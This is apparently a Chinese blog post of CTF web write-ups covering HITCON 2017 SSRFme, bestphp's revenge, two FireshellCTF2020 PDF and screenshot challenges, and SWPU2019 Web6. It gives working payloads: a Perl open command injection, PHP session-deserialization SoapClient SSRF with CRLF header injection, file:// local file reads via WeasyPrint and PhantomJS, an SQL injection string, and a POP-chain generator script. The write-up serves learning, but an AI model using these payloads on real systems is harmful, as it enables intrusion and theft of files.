[HITCON 2017]SSRFme

perl脚本GET open命令漏洞

GET是Lib for WWW in Perl中的命令 目的是模拟http的GET请求,GET函数底层就是调用了open处理
open存在命令执行,并且还支持file函数

最后命令行中执行的结果会被存在data中,
尝试读取根目录,并把结果写在文件abc中,payload:

?url=/&filename=abc

根据ip拼接md5,发现要执行readflag,

?url=file:bash -c /readflag|&filename=123

bestphp\'s revenge

经典PHP的session反序列化SoapClient原生类衔接SSRF和CRLF,还有一个变量覆盖漏洞的利用,细说一下。
+ #### call_user_func的变量覆盖漏洞
这个题过滤了危险函数,所以不能直接利用,但是注意到:

如果传入的参数,是一个数组,且数组的第一个值是一个类的名字,或一个对象,那么,就会把数组的第二个值,当做方法,然后执行。
  • #### session反序列化
    漏洞成因是php不同的session处理器因解析格式不同造成的漏洞。
<?php
session_start();
$_SESSION['name'] = 'moon_flower';
?>
当 session.serialize_handler=php 时,session文件内容为: name|s:11:"mochazz";
当 session.serialize_handler=php_serialize 时,session文件为: a:1:{s:4:"name";s:11:"mochazz";}

由于默认的php是以"|"作为键值的分割符,那个如果我们在php_serialize下恶意构造特定的键值对,再利用php处理器进行解析,那么就会。。。

$_SESSION['name'] ='|username' => a:1:{s:4:"name";s:4:""|username";}

然后经过php_serialize处理后就会被解析为:

$_SESSION['a:1:{s:4:"name";s:4:"'] = 'username';

所以我们只要传入

$_SESSION['name'] = '想反序列化的内容'
  • ##### SSRF+CRLF
    关于SOAP内置类的详细操作可以看这儿
    SoapClient类可以发送http请求,如果发向本地就形成了SSRF,
    但是SOAPClient中不含cookie的操作,而http请求格式是我们可以进行操作的,所以这里又用到了CRLF漏洞
    payload:
<?php
$target = "http://127.0.0.1/flag.php";
$attack = new SoapClient(null,array('location' => $target,
    'user_agent' => "N0rth3ty\r\nCookie: PHPSESSID=g6ooseaeo905j0q4b9qqn2n471\r\n",
    'uri' => "123"));
$payload = urlencode(serialize($attack));
echo $payload;
?>
//注:PHPSESSID由自己设置。
  • ##### 开始操作:

    • 第一次传参


      _GET:  name="payload生成的序列化字符串"&f=session_start
      _POST: serialize_handler=php_serialize
      



      更换了session处理器,并将name中的信息存在session中
    • 第二次传参


      _GET:  f=extrace
      _POST: call_user_func 
      



      session中的内容(就是SOAPClient对象)和\'welcome_to_the_lctf2018\'会被合并在一个数组中,
      变量覆盖后我们执行的语句实际上是

      call_user_func(call_user_func,array($_session,'welcome_to_the_lctf2018'));
      



      第二个call_user_func的第一个参数是SoapClient类,按照定义,它会去调用welcome_to_the_lctf2018这个不存在的方法,从而调用__call方法,携带我们自己定义的cookie去访问flag.php并将其内容存在对应的session中。
      最后用我们自己的session访问一下即可。

[FireshellCTF2020]URL TO PDF

WeasyPrint进行url to pdf过程中产生的问题
这个爬虫不会解析js但是能解析link

<link rel=”attachment” href=”file:///flag”>

下载这个就能实现ssrf
然后用pdfdetach处理一下即可:

$ pdfdetach -list flag.pdf
1 embedded files
1: flag
$ pdfdetach -save 1 flag.pdf
$ cat flag

[FireshellCTF2020]ScreenShooter

和上一题类似,但这次是用了PhantomJS的漏洞。
通过XMLHttpRequest触发,其中的open方法可以读取目标系统上的任意文件。

payload:
<!DOCTYPE html>
<html>
<head>
    <title></title>
</head>
<body>
    <script type="text/javascript">
        var moon;
        moon = new XMLHttpRequest;
        moon.onload = function(){
            document.write(this.responseText)
        };
        moon.open("GET","file:///flag");
        moon.send();
    </script>
</body>
</html>

[SWPU2019]Web6

首先是登录界面,随便输提示sql语句,可见是username和passwd分开验证的,这里如果passwd为空,那就要想办法构造一个NULL,这里用到了with rollup语法。

with rollup 能对查询的数据进行汇总(不是求和),而查询过程中新产生的表的最后一列中的键是NULL。
paload1:
username=1' or '1'='1' group by passwd with rollup having passwd is NULL#&passwd=

登录后(据说有提示但我没找到),通过method=File_read和post提交filename可以查看任意文件。
查看se.php,encode.php,index.php,hint.txt,但Service.php无法访问,
观察到请求包里有user,可能是通过encode加密的,可以先用keyaaaaaaaasdfsaf.txt和对应的内容把key给解密出来,然后再用这个key去加密admin传入。然鹅。。。并没有什么卵用,那就只能ssrf打了。
首先构造pop链:

bb::__destruct -> aa::__call -> cc::__invoke -> ee::__toString -> dd::getflag

注意这里的aa类中,因为要通过调用函数的方法调用cc中的__invoke,所以要进到if里面,并要让mod2指向mod1,mod1指向cc。
然后再用SoapClient结合session反序列化进行ssrf获得一个能访问本地的PHPSESSID。
上传文件脚本:

<html>
<body>
    <form action="http://30f3a4b2-55fd-462b-94e1-be7d99acf202.node3.buuoj.cn/index.php" method="POST" enctype="multipart/form-data">
        <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="1" />
        <input type="file" name="file" />
        <input type="submit" />
    </form>
</body>
</html>
payload2:
|O:10:"SoapClient":5:{s:3:"uri";s:4:"aabb";s:8:"location";s:30:"http://127.0.0.1/interface.php";s:15:"_stream_context";i:0;s:11:"_user_agent";s:109:"wupco
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
Cookie: user=xZmdm9NxaQ==";s:13:"_soap_version";i:1;}

注意这是的PHPSESSID是我们指定的。、

payload3:
aa=O%3A2%3A%22bb%22%3A2%3A%7Bs%3A4%3A%22mod1%22%3BO%3A2%3A%22aa%22%3A2%3A%7Bs%3A4%3A%22mod1%22%3BO%3A2%3A%22cc%22%3A3%3A%7Bs%3A4%3A%22mod1%22%3BO%3A2%3A%22ee%22%3A2%3A%7Bs%3A4%3A%22str1%22%3BO%3A2%3A%22dd%22%3A3%3A%7Bs%3A4%3A%22name%22%3BN%3Bs%3A4%3A%22flag%22%3Bs%3A8%3A%22get_flag%22%3Bs%3A1%3A%22b%22%3Bs%3A14%3A%22call_user_func%22%3B%7Ds%3A4%3A%22str2%22%3Bs%3A7%3A%22getflag%22%3B%7Ds%3A4%3A%22mod2%22%3BN%3Bs%3A4%3A%22mod3%22%3Bs%3A1%3A%221%22%3B%7Ds%3A4%3A%22mod2%22%3Ba%3A1%3A%7Bs%3A5%3A%22test2%22%3BR%3A3%3B%7D%7Ds%3A4%3A%22mod2%22%3BN%3B%7D

完整的代码:

<?php
function de_crypt($swpu, $key) {
    $swpu = base64_decode($swpu);
    $key    =    md5($key);
    $h      =    0;
    $length    =    strlen($swpu);
    $swpuctf      =    strlen($key);
    $varch   =    '';
    for ($j = 0; $j < $length; $j++)
    {
        if ($h == $swpuctf)
        {
            $h = 0;
        }
        $varch .= $key{$h};        
        $h++;
    }
    $content = '';
    for ($i = 0; $i < $length; $i++)
    {
        $content .= chr(ord($swpu{$i}) - (ord($varch{$i})+256)%256);
        #$swpu .= chr(ord($content{$j}) + (ord($varch{$j})) % 256);
    }
    return $content;
}

class aa
{
        public $mod1;
        public $mod2;
}
class bb
{
        public $mod1;
        public $mod2;
} 
class cc
{
        public $mod1;
        public $mod2;
        public $mod3;
}
class dd
{
        public $name;
        public $flag;
        public $b;
}
class ee
{
        public $str1;
        public $str2;
}

// $target = 'http://127.0.0.1/interface.php';
// $headers = array(
//     'X-Forwarded-For: 127.0.0.1',
//     'Cookie: user=xZmdm9NxaQ==',
// );

// $b = new SoapClient(null, array('location' => $target, 'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers),'uri'=>'aabb'));
// $a = serialize($b);
// $a = str_replace('^^', "\r\n", $a);
// echo $a;

#pop: bb::__destruct -> aa::__call -> cc::__invoke -> ee::__toString -> dd::getflag

$d = new dd();
$e = new ee();
$e->str1 = $d;
$e->str2 = "getflag";
$c = new cc();
$c->mod1 = $e;
$c->mod3 = '1';
$a = new aa();
$a->mod1 = $c;
$a->mod2 = array('test2'=>&$a->mod1);
$b = new bb();
$b->mod1 = $a;

$e->str1->b = 'call_user_func';
$e->str1->flag = 'get_flag';
echo urlencode(serialize($b));

标签: none

添加新评论